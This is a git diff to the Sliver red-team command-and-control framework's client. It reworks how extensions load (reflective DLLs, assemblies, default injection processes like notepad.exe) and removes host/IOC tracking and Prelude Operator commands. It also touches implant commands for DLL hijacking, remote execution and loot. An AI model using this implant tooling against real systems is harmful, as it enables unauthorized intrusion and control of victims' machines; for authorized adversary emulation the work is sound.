Added depware

.dockerignore

@@ -1,21 +1,28 @@
-/server/assets/fs/**.zip
+assets/*.zip
+assets/darwin
+assets/linux
+assets/windows
+server/assets/fs/**.zip
 
-/*.sdk.tar.xz
+*.sdk.tar.xz
 
-/sliver-server
-/sliver-server.exe
+sliver-server
+sliver-server.exe
 
-/sliver-client
-/sliver-client.exe
+sliver-client
+sliver-client.exe
 
-/.vscode/
-/.vscode/*
+gui/
+gui/*
 
-/.github/
-/.github/*
+.vscode/
+.vscode/*
 
-/build.py
-/LICENSE
-/SECURITY.md
-/README.md
-/CONTRIBUTING.md
+.github/
+.github/*
+
+build.py
+LICENSE
+SECURITY.md
+README.md
+CONTRIBUTING.md

.github/workflows/autorelease.yml

@@ -14,10 +14,10 @@ jobs:
     timeout-minutes: 45
     steps:
 
-    - name: Go 1.17
+    - name: Go 1.16
       uses: actions/setup-go@v2
       with:
-        go-version: '^1.17'
+        go-version: '^1.16'
     
     - name: OS Packages 
       run: |
@@ -59,10 +59,10 @@ jobs:
     timeout-minutes: 45
     steps:
 
-    - name: Go 1.17
+    - name: Go 1.16
       uses: actions/setup-go@v2
       with:
-        go-version: '^1.17'
+        go-version: '^1.16'
 
     - name: Mingw
       run: brew install mingw-w64

.github/workflows/codeql-scanning.yml

@@ -17,10 +17,10 @@ jobs:
 
     steps:
       # Setup go environment
-      - name: Go 1.17
+      - name: Go 1.16
         uses: actions/setup-go@v2
         with:
-          go-version: "^1.17"
+          go-version: "^1.16"
 
       - name: Checkout repository
         uses: actions/checkout@v2

.github/workflows/go.yml

@@ -15,10 +15,10 @@ jobs:
     timeout-minutes: 45
     steps:
 
-    - name: Go 1.17
+    - name: Go 1.16
       uses: actions/setup-go@v2
       with:
-        go-version: '^1.17'
+        go-version: '^1.16'
     
     - name: OS Packages 
       run: |
@@ -50,10 +50,10 @@ jobs:
     timeout-minutes: 45
     steps:
 
-    - name: Go 1.17
+    - name: Go 1.16
       uses: actions/setup-go@v2
       with:
-        go-version: '^1.17'
+        go-version: '^1.16'
 
     - name: Mingw
       run: brew install mingw-w64

.gitignore

@@ -1,10 +1,10 @@
-/.vscode/*
-/.devcontainer
+.vscode/*
+.devcontainer
 
-/Dockerfile.*
-/*.sdk.tar.xz
+Dockerfile.*
+*.sdk.tar.xz
 
-/release-*
+release-*
 
 # Diffs
 *.orig
@@ -30,10 +30,10 @@ sliver-server-windows.zip
 *.dylib
 
 # Test binary, build with `go test -c`
-/*.test
+*.test
 
 # Output of the go coverage tool, specifically when used with LiteIDE
-/*.out
+*.out
 
 # Project-local glide cache, RE: https://github.com/Masterminds/glide/issues/736
 .glide/

Dockerfile

@@ -1,4 +1,4 @@
-FROM golang:1.17
+FROM golang:1.16.7
 
 #
 # IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
@@ -42,29 +42,26 @@ RUN mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete \
 # > Sliver
 #
 
-# Protoc
+# protoc
 WORKDIR /tmp
 RUN wget -O protoc-${PROTOC_VER}-linux-x86_64.zip https://github.com/protocolbuffers/protobuf/releases/download/v${PROTOC_VER}/protoc-${PROTOC_VER}-linux-x86_64.zip \
     && unzip protoc-${PROTOC_VER}-linux-x86_64.zip \
     && cp -vv ./bin/protoc /usr/local/bin
+
 RUN go install google.golang.org/protobuf/cmd/protoc-gen-go@${PROTOC_GEN_GO_VER} \
     && go install google.golang.org/grpc/cmd/protoc-gen-go-grpc@${GRPC_GO}
 
-# Go assets
+# assets
 WORKDIR /go/src/github.com/bishopfox/sliver
 ADD ./go-assets.sh /go/src/github.com/bishopfox/sliver/go-assets.sh
 RUN ./go-assets.sh
 
-# Compile sliver server
 ADD . /go/src/github.com/bishopfox/sliver/
-RUN make \
-    && cp -vv sliver-server /opt/sliver-server \
-    && /opt/sliver-server unpack --force 
+RUN go mod vendor && make linux && cp -vv sliver-server /opt/sliver-server
 
-# Run unit tests
-RUN /go/src/github.com/bishopfox/sliver/go-tests.sh
-
-# Clean up
+RUN ls -lah \
+    && /opt/sliver-server unpack --force \
+    && /go/src/github.com/bishopfox/sliver/go-tests.sh
 RUN make clean \
     && rm -rf /go/src/* \
     && rm -rf /home/sliver/.sliver

client/assets/.gitignore

@@ -1,9 +0,0 @@
-fs/*.zip
-fs/extensions/darwin/amd64/
-fs/extensions/darwin/arm64/
-fs/extensions/linux/amd64/
-fs/extensions/windows/amd64/
-fs/extensions/darwin/386/
-fs/extensions/darwin/386/
-fs/extensions/linux/386/
-fs/extensions/windows/386/

client/assets/assets.go

@@ -19,29 +19,15 @@ package assets
 */
 
 import (
-	"embed"
-	"fmt"
-	"io/ioutil"
 	"log"
 	"os"
 	"os/user"
 	"path"
-	"strings"
-
-	ver "github.com/bishopfox/sliver/client/version"
-)
-
-var (
-	//go:embed fs/extensions/*
-	assetsFs embed.FS
 )
 
 const (
 	// SliverClientDirName - Directory storing all of the client configs/logs
 	SliverClientDirName = ".sliver-client"
-	// SliverExtensionsDirName - Directory storing the client side extensions
-	SliverExtensionsDirName = "extensions"
-	versionFileName         = "version"
 )
 
 // GetRootAppDir - Get the Sliver app dir ~/.sliver-client/
@@ -56,89 +42,3 @@ func GetRootAppDir() string {
 	}
 	return dir
 }
-
-// GetExtensionsDir - Get the Sliver extension directory: ~/.sliver-client/extensions
-func GetExtensionsDir() string {
-	user, _ := user.Current()
-	dir := path.Join(user.HomeDir, SliverClientDirName, SliverExtensionsDirName)
-	if _, err := os.Stat(dir); os.IsNotExist(err) {
-		err = os.MkdirAll(dir, 0700)
-		if err != nil {
-			log.Fatal(err)
-		}
-	}
-	return dir
-}
-
-func assetVersion() string {
-	appDir := GetRootAppDir()
-	data, err := ioutil.ReadFile(path.Join(appDir, versionFileName))
-	if err != nil {
-		return ""
-	}
-	return strings.TrimSpace(string(data))
-}
-
-func saveAssetVersion(appDir string) {
-	versionFilePath := path.Join(appDir, versionFileName)
-	fVer, _ := os.Create(versionFilePath)
-	defer fVer.Close()
-	fVer.Write([]byte(ver.GitCommit))
-}
-
-// Setup - Extract or create local assets
-func Setup(force bool, echo bool) {
-	appDir := GetRootAppDir()
-	localVer := assetVersion()
-	if force || localVer == "" || localVer != ver.GitCommit {
-		if echo {
-			fmt.Printf("Unpacking assets ...\n")
-		}
-		err := setupCoffLoaderExt(appDir)
-		if err != nil {
-			fmt.Println(err)
-			log.Fatal(err)
-		}
-		saveAssetVersion(appDir)
-	}
-}
-
-func setupCoffLoaderExt(appDir string) error {
-	extDir := GetExtensionsDir()
-	win32ExtDir := path.Join("windows", "386")
-	win64ExtDir := path.Join("windows", "amd64")
-	coffLoader32 := path.Join("fs", SliverExtensionsDirName, win32ExtDir, "COFFLoader.x86.dll")
-	coffLoader64 := path.Join("fs", SliverExtensionsDirName, win64ExtDir, "COFFLoader.x64.dll")
-	manifestPath := path.Join("fs", SliverExtensionsDirName, "manifest.json")
-	loader64, err := assetsFs.ReadFile(coffLoader64)
-	if err != nil {
-		return err
-	}
-	loader32, err := assetsFs.ReadFile(coffLoader32)
-	if err != nil {
-		return err
-	}
-	manifest, err := assetsFs.ReadFile(manifestPath)
-	if err != nil {
-		return err
-	}
-	localWin32ExtDir := path.Join(extDir, win32ExtDir)
-	err = os.MkdirAll(localWin32ExtDir, 0700)
-	if err != nil {
-		return err
-	}
-	localWin64ExtDir := path.Join(extDir, win64ExtDir)
-	err = os.MkdirAll(localWin64ExtDir, 0700)
-	if err != nil {
-		return err
-	}
-	err = ioutil.WriteFile(path.Join(localWin32ExtDir, "COFFLoader.x86.dll"), loader32, 0744)
-	if err != nil {
-		return err
-	}
-	err = ioutil.WriteFile(path.Join(extDir, "manifest.json"), manifest, 0700)
-	if err != nil {
-		return err
-	}
-	return ioutil.WriteFile(path.Join(localWin64ExtDir, "COFFLoader.x64.dll"), loader64, 0744)
-}

client/assets/fs/extensions/manifest.json

@@ -1,16 +0,0 @@
-[
-    {
-        "name": "coff-loader",
-        "help": "Load and execute Beacon Object Files (BOFs) in memory.",
-        "entrypoint": "LoadAndRun",
-        "extFiles": [
-            {
-                "os": "windows",
-                "files": {
-                    "x64": "COFFLoader.x64.dll",
-                    "x86": "COFFLoader.x86.dll"
-                }
-            }
-        ]
-    }
-]

client/cli/cli.go

@@ -82,7 +82,7 @@ var rootCmd = &cobra.Command{
 func StartClientConsole() error {
 	configs := assets.GetConfigs()
 	if len(configs) == 0 {
-		fmt.Printf("No config files found at %s (see --help)\n", assets.GetConfigDir())
+		fmt.Printf("No config files found at %s or -import\n", assets.GetConfigDir())
 		return nil
 	}
 	config := selectConfig()
@@ -93,11 +93,11 @@ func StartClientConsole() error {
 	fmt.Printf("Connecting to %s:%d ...\n", config.LHost, config.LPort)
 	rpc, ln, err := transport.MTLSConnect(config)
 	if err != nil {
-		fmt.Printf("Connection to server failed %s", err)
+		fmt.Printf("Connection to server failed %v", err)
 		return nil
 	}
 	defer ln.Close()
-	return console.Start(rpc, command.BindCommands, func(con *console.SliverConsoleClient) {}, false)
+	return console.Start(rpc, command.BindCommands, func(*console.SliverConsoleClient) {}, false)
 }
 
 // Execute - Execute root command

client/command/commands.go

@@ -36,7 +36,6 @@ package command
 import (
 	"os"
 
-	"github.com/bishopfox/sliver/client/assets"
 	"github.com/bishopfox/sliver/client/command/backdoor"
 	"github.com/bishopfox/sliver/client/command/dllhijack"
 	"github.com/bishopfox/sliver/client/command/environment"
@@ -45,14 +44,11 @@ import (
 	"github.com/bishopfox/sliver/client/command/filesystem"
 	"github.com/bishopfox/sliver/client/command/generate"
 	"github.com/bishopfox/sliver/client/command/help"
-	"github.com/bishopfox/sliver/client/command/hosts"
 	"github.com/bishopfox/sliver/client/command/info"
 	"github.com/bishopfox/sliver/client/command/jobs"
 	"github.com/bishopfox/sliver/client/command/loot"
-	"github.com/bishopfox/sliver/client/command/macros"
 	"github.com/bishopfox/sliver/client/command/monitor"
 	"github.com/bishopfox/sliver/client/command/network"
-	"github.com/bishopfox/sliver/client/command/operator"
 	"github.com/bishopfox/sliver/client/command/operators"
 	"github.com/bishopfox/sliver/client/command/pivots"
 	"github.com/bishopfox/sliver/client/command/portfwd"
@@ -86,14 +82,6 @@ func BindCommands(con *console.SliverConsoleClient) {
 		con.PrintInfof("Loaded %d reaction(s) from disk\n", n)
 	}
 
-	// Attempt to load extensions from ~/.sliver-client/extensions/
-	exts, err := extensions.ParseExtensions(assets.GetExtensionsDir())
-	// Absorb error in case there's no extensions manifest
-	if err == nil {
-		for _, ext := range exts {
-			extensions.RegisterExtensionCommand(ext, con)
-		}
-	}
 	con.App.SetPrintHelp(help.HelpCmd(con)) // Responsible for display long-form help templates, etc.
 
 	// [ Update ] --------------------------------------------------------------
@@ -551,9 +539,6 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.Bool("T", "token", false, "execute command with current token (windows only)")
 			f.Bool("s", "silent", false, "don't print the command output")
 			f.Bool("X", "loot", false, "save output as loot")
-			f.Bool("S", "ignore-stderr", false, "don't print STDERR output")
-			f.String("o", "stdout", "", "remote path to redirect STDOUT to")
-			f.String("e", "stderr", "", "remote path to redirect STDERR to")
 
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
@@ -1053,9 +1038,6 @@ func BindCommands(con *console.SliverConsoleClient) {
 		LongHelp: help.GetHelpFor([]string{consts.LsStr}),
 		Flags: func(f *grumble.Flags) {
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
-			f.Bool("r", "reverse", false, "reverse sort order")
-			f.Bool("m", "modified", false, "sort by modified time")
-			f.Bool("s", "size", false, "sort by size")
 		},
 		Args: func(a *grumble.Args) {
 			a.String("path", "path to enumerate", grumble.Default("."))
@@ -1195,8 +1177,6 @@ func BindCommands(con *console.SliverConsoleClient) {
 		LongHelp: help.GetHelpFor([]string{consts.UploadStr}),
 		Flags: func(f *grumble.Flags) {
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
-
-			f.Bool("i", "ioc", false, "track uploaded file as an ioc")
 		},
 		Args: func(a *grumble.Args) {
 			a.String("local-path", "local path to the file to upload")
@@ -1545,20 +1525,20 @@ func BindCommands(con *console.SliverConsoleClient) {
 		},
 	})
 
-	// [ Macros ] ---------------------------------------------
+	// [ Extensions ] ---------------------------------------------
 
 	con.App.AddCommand(&grumble.Command{
-		Name:     consts.LoadMacroStr,
-		Help:     "Load a sliver macro",
-		LongHelp: help.GetHelpFor([]string{consts.LoadMacroStr}),
+		Name:     consts.LoadExtensionStr,
+		Help:     "Load a sliver extension",
+		LongHelp: help.GetHelpFor([]string{consts.LoadExtensionStr}),
 		Run: func(ctx *grumble.Context) error {
 			con.Println()
-			macros.LoadMacroCmd(ctx, con)
+			extensions.LoadExtensionCmd(ctx, con)
 			con.Println()
 			return nil
 		},
 		Args: func(a *grumble.Args) {
-			a.String("dir-path", "path to the macro directory")
+			a.String("dir-path", "path to the extension directory")
 		},
 		HelpGroup: consts.GenericHelpGroup,
 	})
@@ -2132,70 +2112,6 @@ func BindCommands(con *console.SliverConsoleClient) {
 	})
 	con.App.AddCommand(lootCmd)
 
-	// [ Hosts ] --------------------------------------------------------------
-	hostsCmd := &grumble.Command{
-		Name:     consts.HostsStr,
-		Help:     "Manage the database of hosts",
-		LongHelp: help.GetHelpFor([]string{consts.HostsStr}),
-		Flags: func(f *grumble.Flags) {
-			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
-		},
-		Run: func(ctx *grumble.Context) error {
-			con.Println()
-			hosts.HostsCmd(ctx, con)
-			con.Println()
-			return nil
-		},
-		HelpGroup: consts.GenericHelpGroup,
-	}
-	hostsCmd.AddCommand(&grumble.Command{
-		Name:     consts.RmStr,
-		Help:     "Remove a host from the database",
-		LongHelp: help.GetHelpFor([]string{consts.HostsStr, consts.RmStr}),
-		Flags: func(f *grumble.Flags) {
-			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
-		},
-		Run: func(ctx *grumble.Context) error {
-			con.Println()
-			hosts.HostsRmCmd(ctx, con)
-			con.Println()
-			return nil
-		},
-		HelpGroup: consts.GenericHelpGroup,
-	})
-	iocCmd := &grumble.Command{
-		Name:     consts.IOCStr,
-		Help:     "Manage tracked IOCs on a given host",
-		LongHelp: help.GetHelpFor([]string{consts.HostsStr, consts.IOCStr}),
-		Flags: func(f *grumble.Flags) {
-			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
-		},
-		Run: func(ctx *grumble.Context) error {
-			con.Println()
-			hosts.HostsIOCCmd(ctx, con)
-			con.Println()
-			return nil
-		},
-		HelpGroup: consts.GenericHelpGroup,
-	}
-	iocCmd.AddCommand(&grumble.Command{
-		Name:     consts.RmStr,
-		Help:     "Delete IOCs from the database",
-		LongHelp: help.GetHelpFor([]string{consts.HostsStr, consts.IOCStr, consts.RmStr}),
-		Flags: func(f *grumble.Flags) {
-			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
-		},
-		Run: func(ctx *grumble.Context) error {
-			con.Println()
-			hosts.HostsIOCRmCmd(ctx, con)
-			con.Println()
-			return nil
-		},
-		HelpGroup: consts.GenericHelpGroup,
-	})
-	hostsCmd.AddCommand(iocCmd)
-	con.App.AddCommand(hostsCmd)
-
 	// [ Reactions ] -----------------------------------------------------------------
 
 	reactionCmd := &grumble.Command{
@@ -2309,75 +2225,4 @@ func BindCommands(con *console.SliverConsoleClient) {
 		},
 	}
 	con.App.AddCommand(getprivsCmd)
-
-	// [ Extensions ] -----------------------------------------------------------------
-	extensionCmd := &grumble.Command{
-		Name:      consts.ExtensionStr,
-		Help:      "Manage sliver extensions",
-		LongHelp:  help.GetHelpFor([]string{consts.ExtensionStr}),
-		HelpGroup: consts.SliverHelpGroup,
-		Run: func(ctx *grumble.Context) error {
-			con.Println()
-			extensions.ListCmd(ctx, con)
-			con.Println()
-			return nil
-		},
-		Flags: func(f *grumble.Flags) {
-			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
-		},
-	}
-	extensionCmd.AddCommand(&grumble.Command{
-		Name:      consts.LoadStr,
-		Help:      "Register a new extension",
-		LongHelp:  help.GetHelpFor([]string{consts.ExtensionStr, consts.LoadStr}),
-		HelpGroup: consts.SliverHelpGroup,
-		Run: func(ctx *grumble.Context) error {
-			con.Println()
-			extensions.LoadCmd(ctx, con)
-			con.Println()
-			return nil
-		},
-		Args: func(a *grumble.Args) {
-			a.String("dir-path", "path to the extension directory")
-		},
-		Flags: func(f *grumble.Flags) {
-			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
-		},
-	})
-	con.App.AddCommand(extensionCmd)
-	// [ Prelude's Operator ] ------------------------------------------------------------
-	operatorCmd := &grumble.Command{
-		Name:      consts.OperatorStr,
-		Help:      "Manage connection to Prelude's Operator",
-		LongHelp:  help.GetHelpFor([]string{consts.OperatorStr}),
-		HelpGroup: consts.GenericHelpGroup,
-		Run: func(ctx *grumble.Context) error {
-			con.Println()
-			operator.OperatorCmd(ctx, con)
-			con.Println()
-			return nil
-		},
-	}
-	operatorCmd.AddCommand(&grumble.Command{
-		Name:      consts.ConnectStr,
-		Help:      "Connect with Prelude's Operator",
-		LongHelp:  help.GetHelpFor([]string{consts.OperatorStr, consts.ConnectStr}),
-		HelpGroup: consts.GenericHelpGroup,
-		Run: func(ctx *grumble.Context) error {
-			con.Println()
-			operator.ConnectCmd(ctx, con)
-			con.Println()
-			return nil
-		},
-		Args: func(a *grumble.Args) {
-			a.String("connection-string", "connection string to the Operator Host")
-		},
-		Flags: func(f *grumble.Flags) {
-			f.Bool("s", "skip-existing", false, "Do not add existing sessions as Operator Agents")
-			f.String("a", "aes-key", "", "AES key for communication encryption")
-			f.String("r", "range", "sliver", "Agents range")
-		},
-	})
-
-	con.App.AddCommand(operatorCmd)
 }

client/command/dllhijack/dllhijack.go

@@ -24,7 +24,7 @@ import (
 	"io/ioutil"
 
 	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
 	"github.com/desertbit/grumble"
 )
 
@@ -78,7 +78,7 @@ func DllHijackCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	ctrl := make(chan bool)
 	msg := fmt.Sprintf("Crafting and planting DLL at %s ...", targetPath)
 	con.SpinUntil(msg, ctrl)
-	_, err = con.Rpc.HijackDLL(context.Background(), &clientpb.DllHijackReq{
+	_, err = con.Rpc.HijackDLL(context.Background(), &sliverpb.DllHijackReq{
 		ReferenceDLLPath: referencePath,
 		TargetLocation:   targetPath,
 		ReferenceDLL:     localRefData,

client/command/exec/execute.go

@@ -36,22 +36,15 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	cmdPath := ctx.Args.String("command")
 	args := ctx.Args.StringList("arguments")
 	output := ctx.Flags.Bool("silent")
-	ignoreStderr := ctx.Flags.Bool("ignore-stderr")
-	stdout := ctx.Flags.String("stdout")
-	stderr := ctx.Flags.String("stderr")
 	token := ctx.Flags.Bool("token")
 	var exec *sliverpb.Execute
 	var err error
-	ctrl := make(chan bool)
-	con.SpinUntil(fmt.Sprintf("Executing %s %s ...", cmdPath, strings.Join(args, " ")), ctrl)
 	if token {
 		exec, err = con.Rpc.ExecuteToken(context.Background(), &sliverpb.ExecuteTokenReq{
 			Request: con.ActiveSession.Request(ctx),
 			Path:    cmdPath,
 			Args:    args,
 			Output:  !output,
-			Stderr:  stderr,
-			Stdout:  stdout,
 		})
 	} else {
 		exec, err = con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
@@ -59,35 +52,22 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 			Path:    cmdPath,
 			Args:    args,
 			Output:  !output,
-			Stderr:  stderr,
-			Stdout:  stdout,
 		})
 	}
-	ctrl <- true
-	<-ctrl
 
 	if err != nil {
 		con.PrintErrorf("%s", err)
 	} else if !output {
-		combined := ""
-		if stdout == "" {
-			combined = exec.Stdout
-			con.PrintInfof("Output:\n%s", exec.Stdout)
-		} else {
-			con.PrintInfof("StdOut saved at %s\n", stdout)
-		}
-		if !ignoreStderr && stderr == "" {
-			combined = fmt.Sprintf("%s\nStdErr:\n%s", combined, exec.Stderr)
-			con.PrintInfof("StdErr:\n%s", exec.Stderr)
-		} else {
-			con.PrintInfof("Stderr saved at %s\n", stderr)
-		}
 		if exec.Status != 0 {
 			con.PrintErrorf("Exited with status %d!\n", exec.Status)
+			if exec.Result != "" {
+				con.PrintInfof("Output:\n%s\n", exec.Result)
+			}
 		} else {
-			if ctx.Flags.Bool("loot") && 0 < len(combined) {
+			con.PrintInfof("Output:\n%s\n", exec.Result)
+			if ctx.Flags.Bool("loot") && 0 < len(exec.Result) {
 				name := fmt.Sprintf("[exec] %s %s", cmdPath, strings.Join(args, " "))
-				err = loot.AddLootFile(con.Rpc, name, "console.txt", []byte(combined), false)
+				err = loot.AddLootFile(con.Rpc, name, "console.txt", []byte(exec.Result), false)
 				if err != nil {
 					con.PrintErrorf("Failed to save output as loot: %s\n", err)
 				} else {

client/command/extensions/README.md

@@ -1,62 +1,4 @@
 Extensions
-====
+===========
 
-Allows to load and execute 3rd party extensions.
-
-Extensions must be loaded from a directory with the following architecture:
-
-```shell
-/path/to/extension/folder/
-├── manifest.json
-└── windows
-    ├── 386
-    │   └── extension.x86.dll
-    └── amd64
-        └── extension.x64.dll
-```
-
-The extension folder structure must follow the `GOOS/GOARCH/` scheme.
-
-Here's an example manifest:
-
-```json
-[
-{
-    "name": "foo",
-    "help": "Help for foo command",
-    "entrypoint": "RunFoo",
-    "init" :"NimMain",
-    "dependsOn": "bar",
-    "files": [
-        {
-            "os": "windows",
-            "files":{
-                "x86": "extension.x86.o",
-                "x64": "extension.x64.o",
-            }
-        }
-    ],
-    "arguments": [
-        {"name": "pid", "type": "int", "desc": "pid", "optional": false},
-    ]
-}
-]
-```
-
-The structure is the following one:
-
-- `name`: name of the extension, which will also be the name of the command in the sliver client
-- `help`: the documentation for the new command
-- `entrypoint`: the name of the exported function to call
-- `files`: a list of object pointing to the extensions files to load for each architectures and operating systems
-- `init`: the initialization function name (if relevant, can be omitted)
-- `arguments`: an optional list of objects (for DLLs), but mandatory for BOFs
-- `dependsOn`: the name of an extension required by the current extension (won't load if the dependency is not loaded)
-
-The `type` of an argument can be one of the following:
-
-- `string`: regular ASCII string
-- `wstring`: string that will be UTF16 encoded
-- `int`: will be parsed as a 32 bit unsigned integer
-- `short`: will be parsed as a 16 bit unsigned integer
-- `file`: a string to a file path on the client side which content will be passed to the BOF
+Wraps external DLLs/tool in Sliver console commands.

client/command/extensions/load.go

@@ -1,11 +1,26 @@
 package extensions
 
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
 import (
-	"bytes"
 	"context"
-	"encoding/binary"
 	"encoding/json"
-	"errors"
 	"fmt"
 	"io/ioutil"
 	"os"
@@ -13,59 +28,80 @@ import (
 	"path/filepath"
 	"strings"
 
-	"golang.org/x/text/encoding/unicode"
-
+	"github.com/bishopfox/sliver/client/command/help"
 	"github.com/bishopfox/sliver/client/console"
 	consts "github.com/bishopfox/sliver/client/constants"
-	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
 	"github.com/desertbit/grumble"
 )
 
 const (
 	defaultTimeout = 60
+
+	windowsDefaultHostProc = `c:\windows\system32\notepad.exe`
+	linuxDefaultHostProc   = "/bin/bash"
+	macosDefaultHostProc   = "/Applications/Safari.app/Contents/MacOS/SafariForWebKitDevelopment"
 )
 
-var commandMap map[string]extensionCommand
-
-type extensionCommand struct {
-	Name       string              `json:"name"`
-	Help       string              `json:"help"`
-	Files      []extensionFiles    `json:"extFiles"`
-	Arguments  []extensionArgument `json:"arguments"`
-	Entrypoint string              `json:"entrypoint"`
-	DependsOn  string              `json:"dependsOn"`
-	Init       string              `json:"init"`
-	Path       string
+var commandMap map[string]extension
+var defaultHostProc = map[string]string{
+	"windows": windowsDefaultHostProc,
+	"linux":   windowsDefaultHostProc,
+	"darwin":  macosDefaultHostProc,
 }
+
 type binFiles struct {
 	Ext64Path string `json:"x64"`
 	Ext32Path string `json:"x86"`
 }
 
-type extensionFiles struct {
+type extFile struct {
 	OS    string   `json:"os"`
 	Files binFiles `json:"files"`
 }
 
-type extensionArgument struct {
-	Name     string `json:"name"`
-	Type     string `json:"type"`
-	Desc     string `json:"desc"`
-	Optional bool   `json:"optional"`
+type extensionCommand struct {
+	Name           string    `json:"name"`
+	Entrypoint     string    `json:"entrypoint"`
+	Help           string    `json:"help"`
+	LongHelp       string    `json:"longHelp"`
+	AllowArgs      bool      `json:"allowArgs"`
+	DefaultArgs    string    `json:"defaultArgs"`
+	ExtensionFiles []extFile `json:"extFiles"`
+	IsReflective   bool      `json:"isReflective"`
+	IsAssembly     bool      `json:"IsAssembly"`
 }
 
-func (e *extensionCommand) getFileForTarget(cmdName string, targetOS string, targetArch string) (filePath string, err error) {
-	for _, ef := range e.Files {
-		if targetOS == ef.OS {
-			switch targetArch {
-			case "386":
-				filePath = filepath.Join(e.Path, targetOS, targetArch, ef.Files.Ext32Path)
-			case "amd64":
-				filePath = filepath.Join(e.Path, targetOS, targetArch, ef.Files.Ext64Path)
-			default:
-				filePath = filepath.Join(e.Path, targetOS, targetArch, ef.Files.Ext64Path)
+func (ec *extensionCommand) getDefaultProcess(targetOS string) (proc string, err error) {
+	proc, ok := defaultHostProc[targetOS]
+	if !ok {
+		err = fmt.Errorf("no default process for %s target, please specify one", targetOS)
+	}
+	return
+}
+
+type extension struct {
+	Name     string             `json:"extensionName"`
+	Commands []extensionCommand `json:"extensionCommands"`
+	Path     string
+}
+
+func (e *extension) getFileForTarget(cmdName string, targetOS string, targetArch string) (filePath string, err error) {
+	for _, c := range e.Commands {
+		if cmdName == c.Name {
+			for _, ef := range c.ExtensionFiles {
+				if targetOS == ef.OS {
+					switch targetArch {
+					case "x86":
+						filePath = fmt.Sprintf("%s/%s", e.Path, ef.Files.Ext32Path)
+					case "x64":
+						filePath = fmt.Sprintf("%s/%s", e.Path, ef.Files.Ext64Path)
+					default:
+						filePath = fmt.Sprintf("%s/%s", e.Path, ef.Files.Ext64Path)
+					}
+				}
 			}
+
 		}
 	}
 	if filePath == "" {
@@ -74,237 +110,132 @@ func (e *extensionCommand) getFileForTarget(cmdName string, targetOS string, tar
 	return
 }
 
-func LoadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+func (e *extension) getCommandFromName(name string) (extCmd *extensionCommand, err error) {
+	for _, x := range e.Commands {
+		if x.Name == name {
+			extCmd = &x
+			return
+		}
+	}
+	err = fmt.Errorf("no extension command found for name %s", name)
+	return
+}
+
+// LoadExtensionCmd - Locally load an extension into the Sliver shell.
+func LoadExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+
 	dirPath := ctx.Args.String("dir-path")
-	extCmds, err := ParseExtensions(dirPath)
-	if err != nil {
+	if dirPath == "" {
+		con.PrintErrorf("Please provide an extension path\n")
 		return
 	}
 
-	for _, extCmd := range extCmds {
-		// do not add if the command already exists
-		if cmdExists(extCmd.Name, con.App) {
-			con.PrintErrorf("%s command already exists\n", extCmd.Name)
-			continue
-		}
-		RegisterExtensionCommand(extCmd, con)
-		con.PrintInfof("Added %s command: %s\n", extCmd.Name, extCmd.Help)
-	}
-}
-
-func ParseExtensions(extPath string) ([]*extensionCommand, error) {
-	manifestPath := filepath.Join(extPath, "manifest.json")
+	// retrieve extension manifest
+	manifestPath := fmt.Sprintf("%s/%s", dirPath, "manifest.json")
 	jsonBytes, err := ioutil.ReadFile(manifestPath)
 	if err != nil {
-		return nil, err
+		con.PrintErrorf("%s\n", err)
 	}
-	extensionsCmds := make([]*extensionCommand, 0)
-	err = json.Unmarshal(jsonBytes, &extensionsCmds)
+	// parse it
+	ext := &extension{}
+	err = json.Unmarshal(jsonBytes, ext)
 	if err != nil {
-		return nil, err
+		con.PrintErrorf("Error loading extension: %v", err)
+		return
 	}
-	for _, extCmd := range extensionsCmds {
-		extCmd.Path = extPath
-		commandMap[extCmd.Name] = *extCmd
-	}
-	return extensionsCmds, nil
-}
+	ext.Path = dirPath
+	// for each extension command, add a new app command
+	for _, extCmd := range ext.Commands {
+		// do not add if the command already exists
+		if cmdExists(extCmd.Name, ctx.App) {
+			con.PrintErrorf("%s command already exists\n", extCmd.Name)
+			return
+		}
+		con.PrintInfof("Adding %s command: %s\n", extCmd.Name, extCmd.Help)
 
-func RegisterExtensionCommand(extCmd *extensionCommand, con *console.SliverConsoleClient) {
-	commandMap[extCmd.Name] = *extCmd
-	helpMsg := extCmd.Help
-	extensionCmd := &grumble.Command{
-		Name: extCmd.Name,
-		Help: helpMsg,
-		Run: func(extCtx *grumble.Context) error {
-			con.Println()
-			runExtensionCmd(extCtx, con)
-			con.Println()
-			return nil
-		},
-		Flags: func(f *grumble.Flags) {
-			f.Bool("s", "save", false, "Save output to disk")
-			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
-		},
-		Args: func(a *grumble.Args) {
-			if len(extCmd.Arguments) > 0 {
-				// BOF specific
-				for _, arg := range extCmd.Arguments {
-					var (
-						argFunc      func(string, string, ...grumble.ArgOption)
-						defaultValue grumble.ArgOption
-					)
